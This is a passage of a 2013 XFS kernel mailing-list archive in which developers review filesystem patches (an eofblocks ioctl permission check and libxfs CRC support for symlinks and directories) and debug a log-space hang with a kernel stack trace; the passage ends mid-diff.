X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6OJEcc0032212 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 24 Jul 2013 15:14:38 -0400 Received: from laptop.bfoster (vpn-59-178.rdu2.redhat.com [10.10.59.178]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r6OJEbZl000859 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 24 Jul 2013 15:14:38 -0400 Message-ID: <51F026DB.9020509@redhat.com> Date: Wed, 24 Jul 2013 15:11:23 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dwight Engen CC: xfs@oss.sgi.com Subject: Re: [PATCH v5 6/7] xfs: add permission check to free eofblocks ioctl References: <20130724005301.0ed718d2@oracle.com> <51EFE45F.4000801@redhat.com> <20130724122207.26792088@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v5 6/7] xfs: add permission check to free eofblocks ioctl In-Reply-To: <20130724122207.26792088@oracle.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1374693281 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 07/24/2013 12:22 PM, Dwight Engen wrote: > On Wed, 24 Jul 2013 10:27:43 -0400 > Brian Foster wrote: > >> On 07/24/2013 12:53 AM, Dwight Engen wrote: >>> We need to check that userspace callers can only truncate >>> preallocated blocks from files they have write access to to prevent >>> them from prematurley reclaiming blocks from another user. The >>> internal reclaimer will not specify the XFS_EOF_FLAGS_PERM_CHECK >>> flag, but userspace callers should. >>> >>> Add check for read-only filesystem to free eofblocks ioctl. >>> >>> Signed-off-by: Dwight Engen >>> --- >>> fs/xfs/xfs_fs.h | 1 + >>> fs/xfs/xfs_icache.c | 4 ++++ >>> fs/xfs/xfs_ioctl.c | 4 ++++ >>> 3 files changed, 9 insertions(+) >>> >>> diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h >>> index 7eb4a5e..aee4b12 100644 >>> --- a/fs/xfs/xfs_fs.h >>> +++ b/fs/xfs/xfs_fs.h >>> @@ -361,6 +361,7 @@ struct xfs_fs_eofblocks { >>> #define XFS_EOF_FLAGS_GID (1 << 2) /* filter by gid >>> */ #define XFS_EOF_FLAGS_PRID (1 << 3) /* filter by >>> project id */ #define XFS_EOF_FLAGS_MINFILESIZE (1 << 4) /* >>> filter by min file size */ +#define XFS_EOF_FLAGS_PERM_CHECK >>> (1 << 5) /* check can write inode */ #define >>> XFS_EOF_FLAGS_VALID \ (XFS_EOF_FLAGS_SYNC | \ >>> XFS_EOF_FLAGS_UID | \ >> >> We're not updating the VALID definition, which means the ioctl() would >> fail if the caller sets this flag. I find that a little confusing >> since we're effectively enforcing it. Given that the new flag would be >> exported, it might be a better idea to add it to the valid definition >> even though we don't require the caller to set it. >> >> An alternative might be to duplicate the set of flags in xfs_icache.h >> and not export this one at all, but I don't know it's really worth >> that. > > I didn't put it in VALID because its really an internal flag, and we > don't want userspace to think that we will honor them specifying it > or not. ie. its not a valid bit for them to turn on. I agree it would be > best not to export it though, how about if we move the definition to > xfs_icache.h with a guard against someone accidentally adding a new > duplicate bit in xfs_fs.h, like this: > > #define XFS_EOF_FLAGS_PERM_CHECK (1 << 5) /* check can write inode */ > #if XFS_EOF_FLAGS_PERM_CHECK & XFS_EOF_FLAGS_VALID > #error "Internal XFS_EOF_FLAGS_PERM_CHECK duplicated bit from XFS_EOF_FLAGS_VALID" > #endif > > Maybe since this is internal we should also start at 1<<31 to allow > room for exported flags to grow? Fair enough. It sounds reasonable to me to start a separate, internal only set of flags. I'm not sure if you're suggesting to only use the msb, or start at the msb in decreasing fashion. I was going to suggest reserving the last byte for internal flags or perhaps use a u64 for the internal eofb flags and reserve bits 32-63 for internal use (or just create another variable). I also think a slight name change is useful to differentiate the internal flags. Perhaps XFS_KEOF_*? Brian > >>> diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c >>> index ed35584..823f2c0 100644 >>> --- a/fs/xfs/xfs_icache.c >>> +++ b/fs/xfs/xfs_icache.c >>> @@ -1247,6 +1247,10 @@ xfs_inode_free_eofblocks( >>> if (!xfs_inode_match_id(ip, eofb)) >>> return 0; >>> >>> + if ((eofb->eof_flags & XFS_EOF_FLAGS_PERM_CHECK) && >>> + inode_permission(VFS_I(ip), MAY_WRITE)) >>> + return 0; >>> + >>> /* skip the inode if the file size is too small */ >>> if (eofb->eof_flags & XFS_EOF_FLAGS_MINFILESIZE && >>> XFS_ISIZE(ip) < eofb->eof_min_file_size) >>> diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c >>> index ecab261..c7cb632 100644 >>> --- a/fs/xfs/xfs_ioctl.c >>> +++ b/fs/xfs/xfs_ioctl.c >>> @@ -1613,6 +1613,9 @@ xfs_file_ioctl( >>> struct xfs_fs_eofblocks eofb; >>> struct xfs_eofblocks keofb; >>> >>> + if (IS_RDONLY(inode)) >>> + return -XFS_ERROR(EROFS); >>> + >>> if (copy_from_user(&eofb, arg, sizeof(eofb))) >>> return -XFS_ERROR(EFAULT); >>> >>> @@ -1630,6 +1633,7 @@ xfs_file_ioctl( >>> if (error) >>> return -error; >>> >>> + keofb.eof_flags |= XFS_EOF_FLAGS_PERM_CHECK; >> >> And perhaps this should also be in the new helper..? > > Okay, yep I can move this and the other struct xfs_fs_eofblocks checks > you mentioned into the _from_user() helper. > >> Brian >> >>> return -xfs_icache_free_eofblocks(mp, &keofb); >>> } >>> >>> >> > From mlsemon35@gmail.com Wed Jul 24 14:20:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3CBB17F3F for ; Wed, 24 Jul 2013 14:20:59 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id BE929AC003 for ; Wed, 24 Jul 2013 12:20:58 -0700 (PDT) X-ASG-Debug-ID: 1374693656-04cb6c2e9c10a80001-NocioJ Received: from mail-ve0-f176.google.com (mail-ve0-f176.google.com [209.85.128.176]) by cuda.sgi.com with ESMTP id nmXSwewCkg8bIzIT (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 24 Jul 2013 12:20:57 -0700 (PDT) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.176 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.176] Received: by mail-ve0-f176.google.com with SMTP id c13so7345060vea.35 for ; Wed, 24 Jul 2013 12:20:52 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.176] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.176] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=WBt67o+bo2Sy7VeB3ihWlfT7ho8EW8Md5F1BMb8hAJI=; b=xvznGeEa7uC3Ty3Ow9sWfPm2yRb7omTyR8AkPidQaBZjy2+wtTJX+sD6ArAyDCeBIB nYyPKnKldCLz79K0920t9ppKuprWwUI4zjaqqkIDQl1fMQ8ve8+JItADX6O9f2KTPYqi 4V816pzMHHjn/+BA+T4gyzkRs4rCD4t0jzMnGjwfjz2GavgtBchuCX//i2iLCPK6DORT 7xIAoE9k+8sOPv6VRB42In5uHH+bTWNxRU/pTCELILVsXaqroBCi2XjB2ngHk+vbOyJZ duNuY24Ki3TSVAvdh+TxUE6ONplGbekbObgqTUzEN8q8O6HQQ5CAjF2xOZ9cQxxv7YFo OuqA== MIME-Version: 1.0 X-Received: by 10.58.76.130 with SMTP id k2mr15217071vew.24.1374693652351; Wed, 24 Jul 2013 12:20:52 -0700 (PDT) Received: by 10.52.115.5 with HTTP; Wed, 24 Jul 2013 12:20:52 -0700 (PDT) In-Reply-To: <51EFD68A.40400@sgi.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-45-git-send-email-david@fromorbit.com> <51EEF26F.5040001@sgi.com> <51EEF949.9020104@gmail.com> <51EFD68A.40400@sgi.com> Date: Wed, 24 Jul 2013 15:20:52 -0400 Message-ID: Subject: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion From: "Michael L. Semon" X-ASG-Orig-Subj: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion To: Mark Tinguely Cc: "xfs@oss.sgi.com" Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-ve0-f176.google.com[209.85.128.176] X-Barracuda-Start-Time: 1374693657 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137270 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Wed, Jul 24, 2013 at 9:28 AM, Mark Tinguely wrote: > On 07/23/13 16:44, Michael L. Semon wrote: >> >> On 07/23/2013 05:15 PM, Mark Tinguely wrote: >>> >>> On 07/19/13 01:25, Dave Chinner wrote: >>>> >>>> From: Dave Chinner >>>> >>>> Now that we have the size of the object before the formatting pass >>>> is called, we can allocation the log vector and it's buffer in a >>>> single allocation rather than two separate allocations. >>>> >>>> Store the size of the allocated buffer in the log vector so that >>>> we potentially avoid allocation for future modifications of the >>>> object. >>>> >>>> While touching this code, remove the IOP_FORMAT definition. >> >> >>>> Signed-off-by: Dave Chinner >>> >>> >>> Looks good. >>> >>> Reviewed-by: Mark Tinguely >>> >>> _______________________________________________ >>> xfs mailing list >>> xfs@oss.sgi.com >>> http://oss.sgi.com/mailman/listinfo/xfs >> >> >> I'd like to register a gentle "test this well" protest on this patch. >> While trying to figure out the origin of an unrelated lockdep, I >> tried to copy 3 kernel gits from one 2k non-CRC XFS filesystem to >> another one. With at least this patch used, the cp operatin stops, >> leading to not-umountable, not-syncable filesystems. It might be >> while copying the 2nd git, or the 3rd git, while copying header files, >> or while copying those large *.pack files, but it will happen >> somewhere. >> >> A bisect of the issue ends on this patch, but its removal means that >> 45_49 and 46_49 cannot be applied without good knowledge of the code >> to be patched. >> >> This one's on me for not being able to get good information to Dave. >> If I can find a way to get trace-cmd to pipe over ssh or something >> like that, then maybe there's a chance to make a file that `trace-cmd >> report` can read. Previous attempts to save to different filesystems >> or save over NFS and CIFS have all failed. Will keep trying... >> >> For diagnosing this patch, is there an effective trace that is rather >> small? And would you need more than just the XFS events? >> >> Thanks! >> >> Michael >> > > Thanks for the heads up. > > If you could please redo the test and get the stack traces with > /proc/sysrq-trigger and if you kernel works with crash, a core dump. For the > stack trace, I mostly want to know if it has several "xlog_grant_head_wait" > entries in it, because ... There are those entries. I have a trace from the hung-task detector, from the previous round of testing. So if the hard drive light goes out, wait a couple of minutes for the hung-task detector to kick in. [ 2640.393845] INFO: task kworker/u2:3:50 blocked for more than 120 seconds. [ 2640.393939] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 2640.394024] kworker/u2:3 D e95d7100 0 50 2 0x00000000 [ 2640.394237] Workqueue: writeback bdi_writeback_workfn (flush-8:16) [ 2640.394411] ee987b18 00000092 e95d712c e95d7100 00000001 ee8b5550 0c7183c1 0000021a [ 2640.394925] ee986000 ee8b5550 ee986000 c117c369 e9e9ec40 00000001 c11b7f8a c11a990c [ 2640.395422] d1693460 00000000 00000246 00000000 ee987b28 00000005 ea335800 00000001 [ 2640.395936] Call Trace: [ 2640.396029] [] ? xfs_trans_free+0x5d/0x61 [ 2640.396105] [] ? xlog_space_left+0x26/0x9f [ 2640.396203] [] ? xfs_iunlock+0x6d/0xc4 [ 2640.396279] [] ? xlog_grant_head_wait+0x55/0x14d [ 2640.396378] [] schedule+0x22/0x4e [ 2640.396451] [] xlog_grant_head_wait+0x6e/0x14d [ 2640.396550] [] xlog_grant_head_check+0x72/0xc1 [ 2640.396626] [] xfs_log_reserve+0xaf/0x22d [ 2640.396724] [] ? xfs_trans_alloc+0x1f/0x35 [ 2640.396799] [] xfs_trans_reserve+0x1f2/0x1f9 [ 2640.396900] [] xfs_setfilesize_trans_alloc.isra.5+0x3d/0xa1 [ 2640.396981] [] xfs_vm_writepage+0x1ef/0x575 [ 2640.397084] [] __writepage+0x13/0x39 [ 2640.397159] [] ? global_dirtyable_memory+0x39/0x39 [ 2640.397260] [] write_cache_pages+0x1c4/0x3f8 [ 2640.397336] [] ? global_dirtyable_memory+0x39/0x39 [ 2640.397436] [] ? trace_hardirqs_on_caller+0x14/0x1b1 [ 2640.397514] [] ? xfs_vm_writepages+0x22/0x42 [ 2640.397611] [] generic_writepages+0x37/0x51 [ 2640.397685] [] xfs_vm_writepages+0x3a/0x42 [ 2640.397782] [] do_writepages+0x1d/0x2a [ 2640.397854] [] __writeback_single_inode+0x42/0x229 [ 2640.397952] [] writeback_sb_inodes+0x232/0x385 [ 2640.398027] [] __writeback_inodes_wb+0x73/0xa2 [ 2640.398124] [] wb_writeback+0x1c6/0x27a [ 2640.398196] [] bdi_writeback_workfn+0x217/0x36d [ 2640.398294] [] process_one_work+0x18f/0x454 [ 2640.398367] [] ? process_one_work+0x152/0x454 [ 2640.398464] [] worker_thread+0xf6/0x319 [ 2640.398537] [] ? process_one_work+0x454/0x454 [ 2640.398634] [] kthread+0x9e/0xa0 [ 2640.398708] [] ret_from_kernel_thread+0x1b/0x28 [ 2640.398806] [] ? __kthread_parkme+0x5b/0x5b In previous testing, not much of the SysRq keys worked, and forced crash didn't seem to have anything XFS in it, like it was reporting the steps needed to crash. I'll keep trying and alter my Alt-Shift-SysRq-e-i-e-i-s-u-s-e-i-e-i-o termination string a bit, maybe set the "Panic on Hung Tasks" settings in the kernel as well. > ...I seemed to have triggered a couple log space reservation hangs with > fsstress one XFS partition and a mega-copy on another partition, but will > have to graft the new XFS tree onto a Linux 3.10 kernel to get crash (and > one of my sata controllers) to work again. > > Thanks. > > --Mark. Does this have anything to do with the XFS_RSVSP64 kind of strings output in some test failures, or does that have more to do with speculative preallocation? Thanks! Michael From bpm@sgi.com Wed Jul 24 15:07:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1E98A7F3F for ; Wed, 24 Jul 2013 15:07:49 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id E0201304075; Wed, 24 Jul 2013 13:07:45 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id B0F774266DC; Wed, 24 Jul 2013 15:07:45 -0500 (CDT) Date: Wed, 24 Jul 2013 15:07:45 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 08/48] libxfs: add support for crc headers on remote symlinks Message-ID: <20130724200745.GQ3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-9-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1370564771-4929-9-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jun 07, 2013 at 10:25:31AM +1000, Dave Chinner wrote: > From: Dave Chinner > > Signed-off-by: Dave Chinner Ok, so this corresponds with commit f948dd76d and commit 19de7351a.... > diff --git a/include/xfs_symlink.h b/include/xfs_symlink.h > new file mode 100644 > index 0000000..bb21e6a > --- /dev/null > +++ b/include/xfs_symlink.h > @@ -0,0 +1,43 @@ > +/* > + * Copyright (c) 2012 Red Hat, Inc. All rights reserved. > + */ Please add the gpl header as you did in the kernel. > diff --git a/libxfs/Makefile b/libxfs/Makefile > index 28f71c8..75f365c 100644 > --- a/libxfs/Makefile > +++ b/libxfs/Makefile > @@ -17,7 +17,7 @@ CFILES = cache.c init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ > xfs_dir2.c xfs_dir2_leaf.c xfs_attr_leaf.c xfs_dir2_block.c \ > xfs_dir2_node.c xfs_dir2_data.c xfs_dir2_sf.c xfs_bmap.c \ > xfs_mount.c xfs_rtalloc.c xfs_trans.c xfs_attr.c \ > - crc32.c > + crc32.c xfs_symlink.c > > CFILES += $(PKG_PLATFORM).c > PCFILES = darwin.c freebsd.c irix.c linux.c > diff --git a/libxfs/xfs_symlink.c b/libxfs/xfs_symlink.c > new file mode 100644 > index 0000000..e018abc > --- /dev/null > +++ b/libxfs/xfs_symlink.c > @@ -0,0 +1,154 @@ > +/* > + * Copyright 2013 Red Hat, Inc. > + * All rights reserved. > + */ Here too. Else, this looks fine. Reviewed-by: Ben Myers From bpm@sgi.com Wed Jul 24 15:53:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8DF727F3F for ; Wed, 24 Jul 2013 15:53:58 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6825E304067; Wed, 24 Jul 2013 13:53:58 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 391CE4266DC; Wed, 24 Jul 2013 15:53:58 -0500 (CDT) Date: Wed, 24 Jul 2013 15:53:58 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 09/48] xfs: add CRC checks to block format directory blocks Message-ID: <20130724205358.GR3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-10-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1370564771-4929-10-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jun 07, 2013 at 10:25:32AM +1000, Dave Chinner wrote: > From: Dave Chinner > > Now that directory buffers are made from a single struct xfs_buf, we > can add CRC calculation and checking callbacks. While there, add all > the fields to the on disk structures for future functionality such > as d_type support, uuids, block numbers, owner inode, etc. > > To distinguish between the different on disk formats, change the > magic numbers for the new format directory blocks. > > Signed-off-by: Dave Chinner corresponds to commit f5f3d9b016 > --- > include/xfs_dir2_format.h | 155 +++++++++++++++++++++++++++++++++++++++++-- > libxfs/xfs_dir2_block.c | 126 +++++++++++++++++++++++++---------- > libxfs/xfs_dir2_data.c | 160 ++++++++++++++++++++++++++++----------------- > libxfs/xfs_dir2_leaf.c | 6 +- > libxfs/xfs_dir2_node.c | 2 +- > libxfs/xfs_dir2_priv.h | 4 +- > libxfs/xfs_dir2_sf.c | 2 +- > 7 files changed, 346 insertions(+), 109 deletions(-) > > diff --git a/include/xfs_dir2_format.h b/include/xfs_dir2_format.h > index f5c264a..da928c7 100644 > --- a/include/xfs_dir2_format.h > +++ b/include/xfs_dir2_format.h ... > @@ -215,11 +247,43 @@ typedef struct xfs_dir2_data_free { > */ > typedef struct xfs_dir2_data_hdr { > __be32 magic; /* XFS_DIR2_DATA_MAGIC or */ > - /* XFS_DIR2_BLOCK_MAGIC */ > + /* XFS_DIR2_BLOCK_MAGIC */ This change to remove some tabs does not match the kernel code. Suggest you remove it. Maybe you have done that in one of the syncs later. > @@ -287,7 +340,7 @@ xfs_dir2_block_addname( > mp = dp->i_mount; > > /* Read the (one and only) directory block into bp. */ > - error = xfs_dir2_block_read(tp, dp, &bp); > + error = xfs_dir3_block_read(tp, dp, &bp); > if (error) > return error; > > @@ -597,7 +650,7 @@ xfs_dir2_block_lookup_int( It looks like there are a couple changes to xfs_dir2_block_getdents() that are in the corresponding kernel commit but not reflected here. Seems like this function isn't called in the userspace code, so maybe it doesn't matter. > tp = args->trans; > mp = dp->i_mount; > > - error = xfs_dir2_block_read(tp, dp, &bp); > + error = xfs_dir3_block_read(tp, dp, &bp); > if (error) > return error; > > @@ -860,9 +913,12 @@ xfs_dir2_leaf_to_block( ... > diff --git a/libxfs/xfs_dir2_data.c b/libxfs/xfs_dir2_data.c > index eb86739..66aab07 100644 > --- a/libxfs/xfs_dir2_data.c > +++ b/libxfs/xfs_dir2_data.c > @@ -1,5 +1,6 @@ > /* > * Copyright (c) 2000-2002,2005 Silicon Graphics, Inc. > + * Copyright (c) 2013 Red Hat, Inc. > * All Rights Reserved. > * > * This program is free software; you can redistribute it and/or > @@ -49,11 +50,12 @@ __xfs_dir2_data_check( > > mp = bp->b_target->bt_mount; > hdr = bp->b_addr; > - bf = hdr->bestfree; > - p = (char *)(hdr + 1); > + bf = xfs_dir3_data_bestfree_p(hdr); > + p = (char *)xfs_dir3_data_entry_p(hdr); > > switch (be32_to_cpu(hdr->magic)) { > case XFS_DIR2_BLOCK_MAGIC: > + case XFS_DIR3_BLOCK_MAGIC: ^^^^^ In the kernel the endian flip is done here, not in the switch parens. > btp = xfs_dir2_block_tail_p(mp, hdr); > lep = xfs_dir2_block_leaf_p(btp); > endp = (char *)lep; > @@ -132,7 +134,8 @@ __xfs_dir2_data_check( > (char *)dep - (char *)hdr); > count++; > lastfree = 0; > - if (hdr->magic == cpu_to_be32(XFS_DIR2_BLOCK_MAGIC)) { > + if (hdr->magic == cpu_to_be32(XFS_DIR2_BLOCK_MAGIC) || > + hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC)) { > addr = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, > (xfs_dir2_data_aoff_t) > ((char *)dep - (char *)hdr)); > @@ -152,7 +155,8 @@ __xfs_dir2_data_check( > * Need to have seen all the entries and all the bestfree slots. > */ > XFS_WANT_CORRUPTED_RETURN(freeseen == 7); > - if (hdr->magic == cpu_to_be32(XFS_DIR2_BLOCK_MAGIC)) { > + if (hdr->magic == cpu_to_be32(XFS_DIR2_BLOCK_MAGIC) || > + hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC)) { > for (i = stale = 0; i < be32_to_cpu(btp->count); i++) { > if (lep[i].address == > cpu_to_be32(XFS_DIR2_NULL_DATAPTR)) > @@ -200,7 +204,8 @@ xfs_dir2_data_reada_verify( > > switch (be32_to_cpu(hdr->magic)) { > case XFS_DIR2_BLOCK_MAGIC: > - bp->b_ops = &xfs_dir2_block_buf_ops; > + case XFS_DIR3_BLOCK_MAGIC: Also here the endian switch was done differently in the kernel. Other than those nits this looks fine. Reviewed-by: Ben Myers From bpm@sgi.com Wed Jul 24 16:29:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4E5C57F3F for ; Wed, 24 Jul 2013 16:29:53 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id AFABBAC002; Wed, 24 Jul 2013 14:29:49 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 44CE34266DC; Wed, 24 Jul 2013 16:29:49 -0500 (CDT) Date: Wed, 24 Jul 2013 16:29:49 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 10/48] xfs: add CRC checking to dir2 free blocks Message-ID: <20130724212949.GS3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-11-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1370564771-4929-11-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jun 07, 2013 at 10:25:33AM +1000, Dave Chinner wrote: > From: Dave Chinner > > This addition follows the same pattern as the dir2 block CRCs, but > with a few differences. The main difference is that the free block > header is different between the v2 and v3 formats, so an "in-core" > free block header has been added and _todisk/_from_disk functions > used to abstract the differences in structure format from the code. > This is similar to the on-disk superblock versus the in-core > superblock setup. The in-core strucutre is populated when the buffer > is read from disk, all the in memory checks and modifications are > done on the in-core version of the structure which is written back > to the buffer before the buffer is logged. > > Signed-off-by: Dave Chinner Corresponds to cbc8adf8972 > diff --git a/include/xfs_dir2_format.h b/include/xfs_dir2_format.h > index da928c7..5c28a6a 100644 > --- a/include/xfs_dir2_format.h > +++ b/include/xfs_dir2_format.h ... > +static int > +xfs_dir3_free_get_buf( > + struct xfs_trans *tp, > + struct xfs_inode *dp, > + xfs_dir2_db_t fbno, > + struct xfs_buf **bpp) > +{ > + struct xfs_mount *mp = dp->i_mount; > + struct xfs_buf *bp; > + int error; > + struct xfs_dir3_icfree_hdr hdr; > + > + error = xfs_da_get_buf(tp, dp, xfs_dir2_db_to_da(mp, fbno), > + -1, &bp, XFS_DATA_FORK); > + if (error) > + return error; > + > + bp->b_ops = &xfs_dir3_free_buf_ops;; Extra ; > + > + /* > + * Initialize the new block to be empty, and remember > + * its first slot as our empty slot. > + */ > + hdr.magic = XFS_DIR2_FREE_MAGIC; > + hdr.firstdb = 0; > + hdr.nused = 0; > + hdr.nvalid = 0; > + if (xfs_sb_version_hascrc(&mp->m_sb)) { > + struct xfs_dir3_free_hdr *hdr3 = bp->b_addr; > + > + hdr.magic = XFS_DIR3_FREE_MAGIC; > + hdr3->hdr.blkno = cpu_to_be64(bp->b_bn); > + hdr3->hdr.owner = cpu_to_be64(dp->i_ino); > + uuid_copy(&hdr3->hdr.uuid, &mp->m_sb.sb_uuid); > + Extra line. > @@ -883,7 +1031,7 @@ xfs_dir2_leafn_rebalance( > } > > static int > -xfs_dir2_data_block_free( > +xfs_dir3_data_block_free( There were some differences in comments and whitespace between this version and the one in the kernel. I took a look and didn't see any functional changes though. > @@ -894,59 +1042,68 @@ xfs_dir2_data_block_free( > { > struct xfs_trans *tp = args->trans; > int logfree = 0; > + __be16 *bests; > + struct xfs_dir3_icfree_hdr freehdr; > > - if (!hdr) { > - /* One less used entry in the free table. */ > - be32_add_cpu(&free->hdr.nused, -1); > - xfs_dir2_free_log_header(tp, fbp); > > - /* > - * If this was the last entry in the table, we can trim the > - * table size back. There might be other entries at the end > - * referring to non-existent data blocks, get those too. > - */ > - if (findex == be32_to_cpu(free->hdr.nvalid) - 1) { > - int i; /* free entry index */ > + xfs_dir3_free_hdr_from_disk(&freehdr, free); > > - for (i = findex - 1; i >= 0; i--) { > - if (free->bests[i] != cpu_to_be16(NULLDATAOFF)) > - break; > - } > - free->hdr.nvalid = cpu_to_be32(i + 1); > - logfree = 0; > - } else { > - /* Not the last entry, just punch it out. */ > - free->bests[findex] = cpu_to_be16(NULLDATAOFF); > - logfree = 1; > - } > + bests = xfs_dir3_free_bests_p(tp->t_mountp, free); > + if (hdr) { > /* > - * If there are no useful entries left in the block, > - * get rid of the block if we can. > + * Data block is not empty, just set the free entry to the new > + * value. > */ > - if (!free->hdr.nused) { > - int error; > + bests[findex] = cpu_to_be16(longest); > + xfs_dir2_free_log_bests(tp, fbp, findex, findex); > + return 0; > + } > > - error = xfs_dir2_shrink_inode(args, fdb, fbp); > - if (error == 0) { > - fbp = NULL; > - logfree = 0; > - } else if (error != ENOSPC || args->total != 0) > - return error; > - /* > - * It's possible to get ENOSPC if there is no > - * space reservation. In this case some one > - * else will eventually get rid of this block. > - */ > + /* > + * One less used entry in the free table. Unused is not converted > + * because we only need to know if it zero > + */ > + freehdr.nused--; > + > + if (findex == freehdr.nvalid - 1) { > + int i; /* free entry index */ > + > + 